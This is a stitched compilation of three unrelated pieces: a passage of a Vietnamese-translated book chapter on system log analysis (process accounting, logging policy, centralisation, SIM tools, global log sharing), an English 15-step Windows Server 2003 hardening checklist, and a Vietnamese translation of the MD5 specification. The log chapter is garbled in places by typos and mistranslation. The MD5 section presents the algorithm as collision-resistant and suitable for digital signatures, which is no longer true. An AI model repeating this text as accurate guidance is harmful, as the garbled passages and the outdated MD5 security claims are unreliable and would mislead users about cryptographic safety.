Lựa chọn 1 server không tồn tại là hiệu quả hơn nếu 1 mức độ cao hơn của stealth là cần thiết. Phương pháp này có thể không áp dụng được cho 1 mạng Lan truyền thống, nhưng nó có thể được ứng dụng trong rất nhiều trường hợp đặc biệt khác.
18.2.4 Những kiểu Logging khác

Để kết luận, hãy lần nữa nhìn lại những Unix logfiles khác. Thêm vào các Unix syslogd chuẩn và klogd logging daemons, còn có 1 tiến trình tính toán BSD thường xuyên được nhìn thấy trên các hệ thống Linux, Solaris và BSD khác. Tính toán tiến trình lưu các tiến trình được chạy trên hệ thống Unix và lưu trữ dữ liệu trong các file nhị phân. Một vài tiện ích được cung cấp để kiểm tra dữ liệu, giống như trong ví dụ sau:
lastcomm S X root stdin 3.19 secs Sat Nov 2 22:16

head S root stdin 0.00 secs Sat Nov 2 22:16

egrep root stdin 0.01 secs Sat Nov 2 22:16

grep S root stdin 0.01 secs Sat Nov 2 22:16

bash F root stdin 0.00 secs Sat Nov 2 22:16

bash SF root stdin 0.00 secs Sat Nov 2 22:16

dircolors root stdin 0.00 secs Sat Nov 2 22:16

stty root stdin 0.00 secs Sat Nov 2 22:16

bash SF root stdin 0.00 secs Sat Nov 2 22:16

tput root stdin 0.01 secs Sat Nov 2 22:16

bash SF root stdin 0.00 secs Sat Nov 2 22:16

tput root stdin 0.01 secs Sat Nov 2 22:16

su anton stdin 0.04 secs Sat Nov 2 22:16

head anton stdin 0.01 secs Sat Nov 2 22:16

Những bản ghi trên (được tạo ra bởi lệnhlastcomm head -20) chỉ ra rằng những lệnh trên bao gồm grep, egrep, bash, và thậm chí cả chính bản thân lệnh lastcom đều chạy trên thiết bị dưới tài khoản root và người sử dụng có tài khoản anton được chuyển đổi thành roor bằng cách sử dụng lệnh su vào lúc 10.16PM ngày 2 tháng 11. Phần nhị phân này của bảng thống kê Unix hoàn thiện bức tranh mà được cung cấp bởi syslog bằng cách thêm và những tiến trình đang chạy một cách chi tiết nhất. Thật không may mắn, không có thiết bị nào cho việc chuyển dịch từ xa những bản ghi đã được liệt kê đó.

Quy trình logging hệ thống Unix cóthể được tích hợp trong những thiết bị chạy trên hệ điều hành Windows bằng các giải pháp như Kiwi Syslog, miễn phí tại
http://www.kiwisyslog.com.

Nhìn chung, biên dịch thông điệp Unix trở nên dễ dàng hơn sau khi bạn có được quyền kiểm soát hệ thống. Thử thách đối với việc phân tích log đó là tái tạo lại một bức tranh hoàn chỉnh của việc phát hiện từ các log được thu thập bởi những thiết bị khác nhau trên toàn mạng, khi đưa vào tài khoản đó những sự kiện xuất hiện trong một quá trình trước đó.

18.3 Trạng thái logging

Trong phần này chúng ta sẽ tổng hợp xem những ví dụ ở trên và những log khác trong một bức tranh chung những gì mà bạn có thể trong mong nhìn thấy trong 1 file log. Sự miêu tả này nằm trong 1 phần của đoạn của Tina Bird gửi tới mailing list phân tích log của cô ấy (xem phần reference) và việc thảo luận được đảm bảo, cái mà được thiết lập từ tác giả của cuốn sách này).

Một vài sự kiện mà máy tính có thể đặt vào log:
• Tắt, mỏ, restart hoặc bất cứ 1 hành động liên quan đến đầu cuối của hệ thống hoặc 1 phần mềm.
• Various thresholds được thực thi hoặc các câp tìm kiếm nguy joểi. giống như đầy dung lượng đĩa, exhausted bộ nhớ hoặc bộ xử lý hoạt động quá nhanh.
• Phần cứng thông báo răng hệ thống có thể gặp vấn đề hoặc có thể phát hiện được và ghi log.
• Người dùng truy cập vào hệ thống, có thể là đăng nhập từ xa (telnet, SSH,,,) và các đăng nhập nội bộ hoặc truy cập network (FTP) tới hoặc từ 1 hệ thống khác kể cả thành công hay không thành công.
• Người dùng truy cập đến một thay đổi đáng kể (privilege) giống như lệnh su – kể cả thành công hay thất bại.
• Thay đổi credential người dùng hoặc quyền truy cập, giống như cập nhật tài khoản, tạo mới hoặc xóa bỏ , kể cả thất bại hay thành công.
• Thay đổi thiết lập hệ thống và update phần mềm, kể cả thành công hay không thành công.
• Truy cập vào log của hệ thống để chỉnh sửa, xóa hoặc thậm chí là chỉ đọc.

Danh sách các sự kiện nêu trên có thể đầy đủ cho log của 1 hệ thống và sẵn sàng cho việc phân tích. Công việc cả bạn là cố gắng trả lời câu hỏi “Chuyện gì đã xảy ra” sử dụng tất cả các bản ghi tiềm năng, phức tạp đó.

18.4 Khi nào cần phải quan sát các Log

Một người mới bắt đầu nên bắt đầu từ việc quan sát chung một lượt tất cả những thông tin nhận được để đưa ra sự chú ý thích hợp. Có thể, chỉ là có thể thôi, liệu bạn có thể bỏ qua tất cả mà không cần phân tích dữ liệu hay không? Câu trả lời dường như là KHÔNG. Một quy ước đơn giản nhất của việc phân tích log đó là bạn không ghi nhận những gì mà bạn không có kế hoạch tìm kiếm trên đó. Hoặc là như quy ước Murphy "Chỉ tìm kiếm những vấn đề mà bạn có thể biết cách giải quyết”. Trong lĩnh vực an toàn thông tin, đó có nghĩa là bạn chỉ tìm kiến những gì bạn đã có kế hoạch để trả lời và chỉ ghi nhận những gì mà bạn cần tìm kiểm trên nó. Ví dụ như, 1 hệ thống phát hiện xâm nhập (đề cập ở chương 19) chỉ làm việc tốt khi mà có người phân tích xem xét những đầu ra của nó. Bởi vậy, nếu bạn không có hiểu gì về "WEB-CGI webdist.cgi access" bạn sẽ không thể chạy được Snort với các quy ước được cho phép. Tạo nên một hoạt động được đánh giá cao dựa trên kết quả sẽ là không thể nếu bạn không hiểu rõ chuyện gì đang xảy ra và những hành động mà được đánh giá cao đó có thể trở thành circumstances.

Thiết bị này không negate rằng việc logging tất cả mọi thứ đều là cần thiết cho 1 động thái điều tra và tìm kiếm. Thực tế, nếu log có thể sử dụng cho tất cả các hồi đáp đối với các sự kiện, thì rule giống như "don't log what you won't look at" sẽ không bao giờ được thực hiện. Trong nhiều trường hợp, logging tất cả mọi thứ là 1 router tốt nhất, bởi vì nó dường như ghi nhận tất cả các bit tín hiệu mà cho phép bạn giải quyết vấn đề. Chúng tôi chỉ muốn nói rằng, nếu logfile không bao giờ được nhìn vào (hoặc đơn giản là quay lại bởi 1 chương trình log nào đó) thì nó sẽ chẳng có tác dụng gì..
Hãy cân nhắc trường hợp một hệ thống máy gia đình hoặc máy văn phòng. Trong trường hợp này, log chỉ có tác dụng chính trong những vấn đề của hệ thống chính (ví dụ như phần cứng hoặc là lỗi của hệ điều hành) hoặc là các vấn đề an ninh hệ thống (những vấn đề mà rất dễ có thể ngăn ngừa bởi vì bạn chỉ phải xem xét trên một hệ thống riêng lẽ hoạc chỉ 1 số lượng rất nhỏ các hệ thống. Thậm chí trong những trường hợp này, bạn bắt buộc phải nhìn vào log nếu nó có hi vọng giải quyết được các vấn đề hoặc là ngăn ngừa tác hại của nó. Tuy nhiên, bạn sẽ tốn ít thời gian hơn nếu ngồi cài lại hệ điều hành Windows của bạn, hoặc là thay thế nó bởi Unix. Chúng tôi không khuyên bạn cứ chăm chú vào các file log để tìm các dấu hiệu tiềm năng của 1 vụ xâm nhập ngoại trừ khi bạn thích thú đối với công việc đó hoặc là bạn đang chuẩn bị để lấy 1 chứng chỉ cho việc phân tích xâm nhập nào đó. Chỉ nên cho phép logging một lượng nhỏ cần thiết nào đó.

Tiếp theo, chúng ta sẽ xem xét một business cỡ vừa và nhỏ, mà được chỉ ra rằng sẽ không có nhân viên an ninh. Các hành động để đảm bảo an toàn hệ thống được giới hạn trong “gỡ bỏ các vấn đề”. Trong trường hợp này, nó giống như hệ thống gia đình với những khác biệt không mấy quan trọng. Môi trường này cũng thường xuyên có mặt những người mà (atonish) việc chuyên nghiệp hpá các hành động bảo vệ an toàn hệ thống bởi những câu bình luận kểi như “Tại sao lại có những người muốn hack chúng ta? Chúng ta không làm gì hấp dẫn các hacker”. Ngày nay, tất cả mọi người hiểu rằng bộ nhớ hệ thống, vòng CPU và một kết nối mạng tốc độ cao thì có rất nhiều mối đe dọa về an toàn hệ thống cao. Và bởi vì những mối hiểm nguy có mức đe dọa thấp lại được nhiều người biết đến (chẳng hạn như một người nào đó thực hiện việc scan các cổng) lại có thể được cảnh báo như một cuộc tấn công nghiêm trọng (như là cố gắng xâm nhập hệ thống), do đó, một công ty nhỏ hiếm khi có nguồn nhân lực đủ mạnh và có kỹ năng để khai thác chúng

Một công ty lớn hơn sẽ có nhiều yêu cầu quản trị hơn là 1 cá nhân riêng rẽ. Do vậy mà mức độ an toàn và khả năng accountability được nâng cao hơn. Tất cả các tổ chức kết nối đến Internet ngày nay đều có ít nhất 1 firewall và 1 vài bộ DMZ được cài đặt cho các server public như web, email, FTP, đăng nhập từ xa. Rất nhiều tổ chức đã phát triển những hệ thống phát hiện xâm nhập và các mạng riêng ảo (VPNs). Tất cả những công nghệ tiên tiến đó làm gia tăng những mối quan tâm mới như sẽ phải làm gì với tất cả những tín hiệu thu được từ chúng, và các công ty hiếm khi thuê những nhân viên an ninh hệ thống mới chỉ để giải quyết những tín hiệu đó. Các logs biểu diễn một trong những các phát hiện ra các mối đe dọa từ các hostile Internet.
T
óm lại, trả lời cho câu hỏi “Tôi có phải làm như thế này không” được thay đổi từ “Có thể không” đối với các giao dịch nhỉ cho đến “Vâng, bạn phải làm như vậy” đối với những giao dịch lớn..

18.5 Log Overflow and Aggregation

Thông tin từ các log file là rất đa dạng và phong phú, tuy nhiên thật không may mắn là rất nhiều những thông tin là rất phức tạp để phân tích. Lượng dữ liệu hàng gigabite thông tin được thu thập là không bất thường đối với một công ty lớn, đặc biệt nếu lượng thông tin chuyển dịch trên mạng được log lại. Trong khi tồn tại nhiều phương pháp để lưu trữ lượng thông tin đó, thì việc làm cho chúng trở nên có thể phân tích được và có thể ứng dụng trong những thiết bị giám sát lại là một câu chuyện khác. Có được những log nhờ những thiết bị thu thập tại cùng 1 địa điểm làm cho gia tăng tổng thể những thông tin thu thập được, tuy nhiên lại đơn giản hóa việc tồn tại hàng ngày và những phản hồi đối với các sự kiện đột xuất nhờ vào tốc đô truy cập log nhanh chóng. Việc thống kê hiệu quả, lưu trữ an toàn và có khả năng phân tích là một trong những sự thuận tiện của việc tập trung các log thu được. Thêm vào đó, việc lưu trữ log một cách an toàn và ít bị thay đổi rất có ích nếu một kẻ xâm nhập bị phát hiện ra dựa trên những chứng cớ log. Trong trường hợp này, những tài liệu minh chứng cẩn thận của 1 chương trình ghi log là có thể rất cần thiết

Trong khi việc tập trung log của hệ thống Unix có thể đạt được dễ dàng nhờ syslog chuẩn, sự thay thế syslog cũng có thể làm việc một cách tốt hơn. Việc tập trung log giúp hỗ trợ cho rất nhiều mục đích trong quá trình biên dịch, mặt khác nó làm cho hệ thống trở nên an toàn hơn. Một kẻ xâm nhập cần phải tấn công một hoặc nhiều server hơn mới có thể xóa được những dấu vết của anh ta. Mặt khác, nó cũng làm cho hệ thống trở nên thuận tiện hơn, người quản trị mạng chỉ cần đơn giản kết nối với một thiết bị để xem tất cả những logfile từ mạng. Tuy vậy, có rất nhiều vấn đề xảy ra đối với việc tập trung các log, quan trọng nhất đó là phải giải quyết 1 lượng rất lớn những thông tin log.
18.6 Những thử thách đối với việc phân tích log

Sau khi bỏ rất nhiều thời gian và công sức để tổng hợp và phân tích log, hãy thử đóng vai trò biện hộ và đưa ra những chứng cứ để cố gắng chứng minh một vài lợi ích của nó.

Chúng ta cho rằng những sự việc về an ninh thông tin được điều tra bằng các logfile, tuy nhiên giả thiết đó có thể chỉ là việc đặt ra những câu hỏi. Một vài nguồn cho thấy rằng tất cả mọi hacker đáng giá như Mountain Dew không bao giờ để lại dấu vết trong các log và dễ dàng bỏ qua những hệ thống phát hiện xâm nhập. Nếu những hành động không bị ghi nhận lại thì bạn không thể phân tích chúng. Thêm vào đó, thiết kế hạ tầng cho logging được những kẻ tấn công biết đến để có thể thao tác trên các logfile và có thể chúng đã bị xóa bởi tất cả những kẻ tấn công muốn xóa bỏ dấu vết sau khi thâm nhập hệ thống. Một lần nữa, nếu bạn cho phép kẻ xâm nhập xóa log thì bạn cũng không thể phân tích chúng.

Những chuyện đó thường xuyên xảy ra (trong thực tế, nó đã từng xảy ra đối với chính tác giả ) và một người điều tra xuất sắc nhạy cảm với các sự kiện máy tính, thì hành động đầu tiên của ông ta là: “Đầu tiên, hãy nhìn vào log hệ thống”. Tuy nhiên, cho dù là ông ta tìm kiếm đến đâu thì cũng không thể tìm thấy. Việc logging cũng không được mặc định là cho phép hoặc là bị điều chỉnh trực tiếp /dev/null bởi con người không muốn nhìn thấy bộ nhớ bị chiếm dụng. Vậy giải pháp là gì? Thực tế là không chỉ có 1. Nếu việc ghi nhậnlog không được sẵn sàng cho đến khi bạn cần nó thì bạn cũng không thể phân tích được nó.

Thậm chí tồi tệ hơn, thỉnh thoảng 1 số dấu hiệu của kẻ xâm nhập trong những file hệ thống,ví dụ như, 1 địa chỉ IP của một người đã kết nối vào hệ thống có quyền khai thác trong thời điểm mà sự việc xảy ra. Tuy nhiên, nếu tất cả bạn có chỉ là 1 địa chỉ IP thì liệu bạn có thể chứng minh được điều gì? Rất dễ để thuyết phục 1 sự việc xảy ra đáp trả lại khi họ thực hiện việc chặn bắt đường truyền bằng một phiên của thiết bị ghi nhận 1 công cụ thâm nhập. Nhưng trong thực tế, log không phải lúc nào cũng có được thông tin chi tiết. Nếu log không đủ chi tiết để rút ra kết luận về dữ liệu thì bạn cũng không thể phân tích chúng.

Việc phân tích log thường xuyên phải thực hiện cho dẫu những khó khăn đó luôn xảy ra. Tuy nhiên, nó dường như buộc chúng ta phải luôn suy nghĩ về chúng. Nếu logging tất cả mọi thứ không phải là 1 lựa chọn (do giới hạn bộ nhớ, đường truyền hoặc ứng dụng) thì chúng ta chỉ phân tích được trên những gì có được và cố gắng để có được một kết luận đầy đủ dù cho luôn có những khó khăn đó.

Như chúng ta đã đề cập, có rất nhiều công cụ để có thể phân tích các log. Tuy nhiên, trong chương này chúng tôi chỉ giới thiệu giải pháp SIM (Quản lý thông tin an toàn)

18.7 Quản lý thông tin an toàn - SIM

Những công cụ SIM tập hợp, làm bình thường hóa, giảm thiểu, phân tích và liên kết rất nhiều log từ bộ biên dịch. Các sự kiện an toàn thông tin được tập hợp từ tất cả các thiết bị sản xuất ra logfile như firewall, thiết bị phát hiện xâm nhập, hệ thống bảo vệ, các công cụ ngăn chặn virus cũng như các server và các ứng dụng .

Đầu tiên, các bản ghi log được chuyển đổi sang 1 định dạng thông thường, thường là sử dụng định dạng XML, Thứ 2, nó sẽ được giảm đi một cách thông minh kích thước, đóng gói vào những loại khác nhau và chuyển dịch tới 1 điểm thu thập trung tâm (thường là một cơ sở dữ liệu quan hệ) để cho những lưu trữ và phân tích khác. Thêm vào đó, các sự kiện có thể được liên kết bằng các quy ước và phương pháp thống kê liên kết.

Cuối cùng, các sự kiện được biểu diễn sử dụng một giao diện đồ họa thời gian thực. Các công cụ như netForensics (
http://www.netForensics.com) có thể thực hiện hàng ngàn sự kiện an toàn thông tin trong 1 giây và liên kết chúng lại trong thời gian thực cũng như ciung cấp cho chúng khả năng phân tích và long term trending.

Một số công cụ cho phép phân tích thời gian thực và phúc hồi một lượng lớn những sự kiện. Chúng có thể biên dịch để tránh việc phải cảnh báo rằng những gì đang diễn ra trong môi trường IP của chúng, cũng như bị cảnh báo bởi các mối đe dọa mà nó đang phải đối mặt.

Tuy nhiên, việc thu thập các sự kiện từ hàng ngàn thiết bị phát triển trên toàn thế giới có thể dẫn đến việc làm quá tải 1 công cụ rất mạnh. Vẫn còn những chuyên gia tin rằng, có nhiều cuộc tấn công mới có thể phòng ngừa được nếu các thiết bị từ nhiều nơi trên thế giới có thể được logging vào một hệ thống trung tâm nào đó. Bởi vậy, một sự tích hợp log toàn cầu là cần thiết.

18.8 Tích hợp log toàn cầu (Global Log Aggregation)

Một chương về việc phân tích log sẽ không hoàn thiện nếu thiếu đề câp đến vấn đề tích hợp log toàn cầu. Rất nhiều tổ chức và công ty đã thu thập các logfile và sẵn sàng chia sẻ chúng, và sau đó họ phân tích toàn thể dữ liệu.SANS's Dshield.org (
http://www.dshield.org), MyNetWatchMan's Watchman (http://www.mynetwatchman.com), and Symantec's DeepSight Analyzer (https://analyzer.securityfocus.com) thu thập rất nhiều logs từ các firewall cá nhân đến các firewall của các công ty lớn và các hệ thống phát hiện xâm nhập. Các dịch vụ được cung cấp đa dạng trên giao diện web cho việc phân tích và quan sát log. Thêm vào đó, nếu phát hiện thất có 1 hành động đáng nghi, tất cả chúng sẽ thông báo tới người phụ trách ISP của bạn, và điều đó có thể làm cho kẻ tấn công bị mất tài khoản của mình.

Lợi ích của dịch vụ kiểu này là cho 1 tập thể không phải cho những cá nhân người sử dụng. Việc giải quyết một lượng rất lớn dữ liệu log cho phép tổ chức đó có thể phát hiện ra những mối đe dọa trên mạng đối với hệ thống của họ từ rất sớm. Chúng ta có thể nhìn thấy điều này trong thực tế khi Dshield folks phát hiện ra sự phân tán của CodeRed năm 2001 và một loại MSSQL worm vào năm 2002. Con số phát triển về mặt số học của sự truy cập đến cổng (ví dụ như cổng 80 đối với CodeRed và cổng 1433 đối với SQL worm) đã đưa ra gợi ý rằng tất cả những sự tấn công tụ động đều bị thất bại. Một hệ thống cảnh báo sớm cho phép các nhà phân tích an ninh có thể bắt được, nghiên cứu được về loại worm đó và đưa ra giải pháp trước khi chúng có thể vượt ra ngoài tầm kiểm soát. Chúng tôi lưu ý rằng bạn nên cân nhác 1 trong những dịch vụ này để có thể quen thuộc hơn với dữ liệu log của bạn và để xây dựng 1 mạng internet an toàn hơn.

15 steps to hardening Windows Server 2003

Jonathan Hassell, author of "Hardening Windows," recently conducted a checklist-style webcast that outlined 15 steps you can take right now to harden Windows Server 2003 against various threats. If you haven't viewed the webcast, here's a look at Jonathan's 15 steps and some of the main points he discussed. For the complete information and detailed expert advice, you may view the webcast any time.
Step 1: Be rigid on passwords
Main points: Enforce stronger authentication by encouraging the use of passphrases and requiring a 15-character minimum.
Step 2: Use Windows XP software restriction policies through Group Policy
Main points: Use Group Policy to block all extensions related to scripts and disallow especially nefarious programs (cmd. exe, Regedit.exe).
Step 3: Enable Internet Connection Firewall (ICF)
Main points: Almost every machine in your company can benefit from having a firewall. ICF only blocks incoming traffic, uses stateful packet inspection and allows you to force open particular ports.
Step 4: Kill LM hashes
Main points: To eliminate LM hashes, require a 15-character minimum for passwords and enable the Security Option "Network Security: Do not store LAN manager hash value on next password change."
Step 5: Strengthen TCP/IP stack
Main points: You should not connect Windows systems directly to the Internet. Instead increase RAM for TCP connections and decrease timeout values for 3-way handshakes.
Step 6: Mandate SMB signing
Main points: SMB signing will help you prevent man-in-the-middle attacks.
Step 7: Harden network policies
Main points: You should enable settings like "Do not allow anon. enum of SAM" and disable settings like "Allow anonymous SID/Name translation." This may be considered security by obscurity, but it's an important component of hardened Windows systems.
Step 8: Use Software Update Services (SUS)
Main points: You should always use SUS or some other patch management system to receive, distribute and schedule the most up-to-date patches.
Step 9: Rope off, quarantine, sanitize
Main points: This is a very important step. Using Network Access Quarantine Control, you should limit or disallow resources to certain clients, put non-quarantined clients in a holding bin to verify system attributes and finally provide resources to fix any problems discovered before they're allowed to connect.
Step 10: Plan for the worst
Main points: To plan for disasters, use scripts to build up 80% of your infrastructure and leave yourself much more time to manually reconstruct the remaining 20%.
Step 11: Get the Group Policy Management Console
Main points: It's now easier than ever to use Group Policy to set security policies across the board -- and you should take advantage of it.
Step 12: Use the Microsoft Baseline Security Analyzer (MBSA)
Main points: This is a handy tool used to scan computers in a Windows Update-like fashion. It is continually updated by Microsoft and it supports a number of products.
Step 13: Familiarize yourself with IPsec
Main points: IP is too public not to be encrypted. You should use IPsec to protect transmissions between servers, client tunnels and any point-to-point IP transactions where both ends know how to read IPsec.
Step 14: Use Internet Information Services (IIS) 6.0
Main points: Thanks to many new security improvements, IIS is finally ready for prime-time hosting.
Step 15: Play with Windows Server 2003 Service Pack 2 or latest
Main points: always update all hot fix

Thuật toán số hóa thông điệp MD5

1. Mục đích

Tài liệu này mô tả thuật toán số hóa thông điệp MD5. Thuật toán nhận vào 1 thông điệp độ dài tùy ý và tạo ra một số 128 bit, là một dạng “vân tay“ hay “mã số thông điệp“ ( message digest ) của đầu vào. Người ta cho rằng sẽ không khả thi về mặt tính toán để tạo ra 2 thông điệp có cùng mã số thông điệp, hoặc tạo ra một thông điệp với mã số cho trước.Thuật toán MD5 được dự tính áp dụng cho những ứng dụng chữ ký điện tử, ở đó một file lớn phải được “nén“ một cách an toàn trước khi mã hóa với một khóa cá nhân ( private key ) dưới một hệ mã hóa công khai như RSA

Thuật toán MD5 được thiết kế để chạy tương đối nhanh trên các máy 32 bit, có thể được thực hiện một cách khá gọn.

Thuật toán MD5 là sự mở rộng của thuật toán MD4. MD5 chậm hơn một chút so với MD4 nhưng an toàn hơn. MD5 được thiết kế vì người ta cảm thấy có thể MD4 đã được chấp nhận trong sử dụng quá nhanh so với sự đánh giá nó. MD4 được thiết kế để chạy rất nhanh, nó đã “nằm trên ranh giới“ theo cách nói về nguy cơ của sự thành công trong việc phá mã. MD5 đã lùi lại một chút, từ bỏ một chút tốc độ cho sự bảo mật. Nó kết hợp một số ý kiến góp ý của các chuyên gia, thuật toán MD5 hiện đang được đánh giá và có thể được chấp nhận như một chuẩn.

2. Thuật ngữ và ký hiệu

Trong tài liệu này một “word“ là một lượng 32 bit và một “byte“ là một lượng 8 bit. Một dãy các bit có thể được xem như một dãy các byte, trong đó mỗi nhóm 8 bit liên tiếp được xem như một byte với bit cao của mỗi byte đặt trước. Tương tự, mỗi dãy các byte có thể xem như một dãy các word 32 bit, trong đõ mỗi nhóm 4 byte liên tiếp được xem như một word với byte thấp đặt trước.

Ký hiệu x_i nghĩa là phần tử x thứ i (“x sub i“). Nếu số thứ tự đó là một biểu thức ta viết nó trong ngoặc nhọn, ví dụ như x_{i+1} ; ^ ký hiệu cho số mũ.
Ký hiệu “+“ cho phép cộng các word, nghĩa là cộng theo môđun 2^32.
X <<< s ký hiệu giá trị 32 bit nhận được bằng cách dịch chuyển các bit của X (theo kiểu quay vòng ) sang trái s vị trí.
not(X) ký hiệu phép đối lập (NOT) các bit
X v Y ký hiệu phép OR các bit
X xor Y ký hiệu phép XOR các bit
XY ký hiệu phép AND các bit

3. Mô tả thuật toán MD5

Giả sử chúng ta có thông điệp b bit ở đầu vào, và ta muốn tìm mã số của thông điệp. Ở đây b là số không âm bất kỳ; b có thể bằng 0 và không cần chia hết cho 8, độ lớn có thể bất kỳ. Tưởng tượng rằng các bit của thông điệp được viết như sau :
m_0 m_1 m_2 … m_{b-1}

Mã số thông điệp được tính qua 5 bước sau

3.1 - Bước 1 : Các bit gắn thêm

Thông điệp được mở rộng, thêm bit vào phía sau sao cho độ dài của nó ( tính theo bit ) đồng dư với 448 theo môđun 512. Nghĩa là thông điệp được mở rộng sao cho nó còn thiếu 64 bit nữa thì sẽ có một độ dài chia hết cho 512. Việc này luông được thực hiện ngay cả khi bản thân độ dài thông điệp đã đồng dư với 448 theo môđun 512.
Việc thêm bit này thực hiện như sau : một bit “1“ được thêm vào sau thông điệp, sau đó các bit “0“ được thêm vào để có một độ dài đồng dư với 448 môđun 512. Trong tất cả các trường hợp, có ít nhất 1 và nhiều nhất 512 bit được thêm vào.

3.2 - Bước 2 : Gắn thêm độ dài

Dạng biểu diễn 64 bit độ dài b của chuỗi ban đầu được thêm vào phía sau kết quả của bước 1. Trong trường hợp b lớn hơn 2^64 thì chỉ có 64 bit thấp của b được sử dụng. ( Các bit này được thêm vào phía sau dưới dạng 2 word 32 bit, gắn word thấp trước theo quy ước ở trên )
3.3 - Bước 3 : Khởi tạo bộ đệm MD
Một bộ đệm 4 word (A,B,C,D) được dùng để tính mã số thông điệp. Ở đây mỗi A,B,C,D là một thanh ghi 32 bit. Những thanh ghi này được khởi tạo theo những giá trị hex sau ( các byte thấp trước ) :
word A : 01 23 45 67
word B : 89 ab cd ef
word C : fe dc ba 98
word D : 76 54 32 10

3.4 - Bước 4 : Xử lý thông điệp theo từng khối 16 word

Trước hết ta định nghĩa các hàm phụ, các hàm này nhận đầu vào là 3 word 32 bit và tạo ra một word 32 bit.
F(X,Y,Z) = XY v not(X) Z
G(X,Y,Z)= XZ v Y not(Z)
H(X,Y,Z) = X xor Y xor Z
I(X,Y,Z) = Y xor (X v not(Z))

Với mỗi bit, F hoạt động như một điều kiện : nếu X thì Y nếu không thì Z. Hàm F có thể định nghĩa bằng phép + thay vì v bởi vì XY và not(X)Z không bao giờ có “1“ ở cùng 1 vị trí bit.Các hàm G,H và I tương tự như F, ở chỗ chúng tác động theo từng bit tương ứng để tạo ra kết quả từ các bit của X,Y và Z

Bước này sử dụng một bảng 64 giá trị T[1 .. 64] được tạo ra từ hàm sin. Gọi T[i] là phần tử thứ i của bảng, thì T[i]là phần nguyên của 4294967296*sin(i) , i được tính theo radian.

Làm như sau :

/* Xử lý mỗi khối 16 word */
For i = 0 to N/16-1 do

/* Copy block i into X. */
For j = 0 to 15 do
Set X[j] to M[i*16+j].
end /* of loop on j */

/* Lưu A vào AA, B vào BB, C vào CC, D và DD . */
AA = A
BB = B
CC = C
DD = D

/* Vòng 1. */
/* Ký hiệu [abcd k s i] nghĩa là thực hiện như sau :
a = b + ((a + F(b,c,d) + X[k] + T[i]) <<< s). */
/* Thực hiện : */
[ABCD 0 7 1] [DABC 1 12 2] [CDAB 2 17 3] [BCDA 3 22 4]
[ABCD 4 7 5] [DABC 5 12 6] [CDAB 6 17 7] [BCDA 7 22 8]
[ABCD 8 7 9] [DABC 9 12 10] [CDAB 10 17 11] [BCDA 11 22 12]
[ABCD 12 7 13] [DABC 13 12 14] [CDAB 14 17 15] [BCDA 15 22 16]

/* Vòng 2. */
/*Ký hiệu [abcd k s i] nghĩa là thực hiện như sau
a = b + ((a + G(b,c,d) + X[k] + T[i]) <<< s). */
/* Thực hiện : */
[ABCD 1 5 17] [DABC 6 9 18] [CDAB 11 14 19] [BCDA 0 20 20]
[ABCD 5 5 21] [DABC 10 9 22] [CDAB 15 14 23] [BCDA 4 20 24]
[ABCD 9 5 25] [DABC 14 9 26] [CDAB 3 14 27] [BCDA 8 20 28]
[ABCD 13 5 29] [DABC 2 9 30] [CDAB 7 14 31] [BCDA 12 20 32]

/* Vòng 3. */
/* Ký hiệu [abcd k s t] nghĩ là làm như sau
a = b + ((a + H(b,c,d) + X[k] + T[i]) <<< s). */
/* Thực hiện :*/
[ABCD 5 4 33] [DABC 8 11 34] [CDAB 11 16 35] [BCDA 14 23 36]
[ABCD 1 4 37] [DABC 4 11 38] [CDAB 7 16 39] [BCDA 10 23 40]
[ABCD 13 4 41] [DABC 0 11 42] [CDAB 3 16 43] [BCDA 6 23 44]
[ABCD 9 4 45] [DABC 12 11 46] [CDAB 15 16 47] [BCDA 2 23 48]

/* Vòng 4. */
/* Ký hiệu [abcd k s t] nghĩa là làm như sau
a = b + ((a + I(b,c,d) + X[k] + T[i]) <<< s). */
/* Thực hiên: */
[ABCD 0 6 49] [DABC 7 10 50] [CDAB 14 15 51] [BCDA 5 21 52]
[ABCD 12 6 53] [DABC 3 10 54] [CDAB 10 15 55] [BCDA 1 21 56]
[ABCD 8 6 57] [DABC 15 10 58] [CDAB 6 15 59] [BCDA 13 21 60]
[ABCD 4 6 61] [DABC 11 10 62] [CDAB 2 15 63] [BCDA 9 21 64]

/* Then perform the following additions. (That is increment each
of the four registers by the value it had before this block was started.) */

/* Sau đó làm các phép cộng sau. ( Nghĩa là cộng vào mỗi thanh ghi giá trị của nó trước khi vào vòng lặp ) */

A = A + AA
B = B + BB
C = C + CC
D = D + DD

end /* of loop on i */

3.5 - Bước 5 : In ra

Mã số thông điệp được tạo ra là A,B,C,D. Nghĩa là chúng ta bắt đầu từ byte thấp của A, kết thúc với byte cao của D.

Đến đây đã mô tả xong thuật toán MD5. Mã nguồn tham khảo viết bằng C có thể tìm thấy ở phụ lục.

4. Tổng kết

Thuật toán số hóa thông điệp MD5 khá đơn giản để thực hiện, cung cấp một dạng “vân tay“ hay mã số của thông điệp với độ dài tùy ý. Người ta cho rằng độ khó để tìm được 2 thông điệp có cùng mã số là khoảng 2^64 bước tính, và độ khó để tim được một thông điệp với mã số cho trước là 2^128 bước tính. Thuật toán MD5 đã được dò tìm điểm yếu một cách cẩn thận. Tuy nhiên đây là một thuật toán tương đối mới ( ! ) và việc phân tích cẩn thận về sự an toàn là cần thiết.

5. Sự khác nhau giữa MD4 và MD5

Sau đây là sự khác nhau giữa MD4 và MD5 :

1. Vòng 4 đã được thêm vào

2. Mỗi bước đều được thêm vào một hằng số duy nhất

3. Hàm G ở vòng 2 được đổi từ (XY v XZ v YZ) thành (XZ v Y not(Z)) để làm giảm sự đối xứng trong G.

4. Mỗi bước đều sử dụng kết quả từ bước trước . Điều này nhằm tạo ra “hiệu ứng dây chuyền“ nhanh hơn

5. Thứ tự các word đầu vào ở vòng 2 và vòng 3 được thay đổi, để làm cho hai mẫu này ít giống nhau hơn

6. Số bit dịch chuyển ở mỗi vòng được tối ưu hóa, để tạo ra “hiệu ứng dây chuyền“ nhanh hơn. Lượng dịch chuyển ở mỗi vòng là khác nhau.

Tài liệu tham khảo

[1] Rivest, R., “The MD4 Message Digest Algorithm“, RFC 1320, MIT and
RSA Data Security, Inc., April 1992.

[2] Rivest, R., “The MD4 message digest algorithm“, in A.J. Menezes
and S.A. Vanstone, editors, Advances in Cryptology - CRYPTO `90
Proceedings, pages 303-311, Springer-Verlag, 1991.

[3] CCITT Recommendation X.509 (1988), “The Directory -
Authentication Framework.“


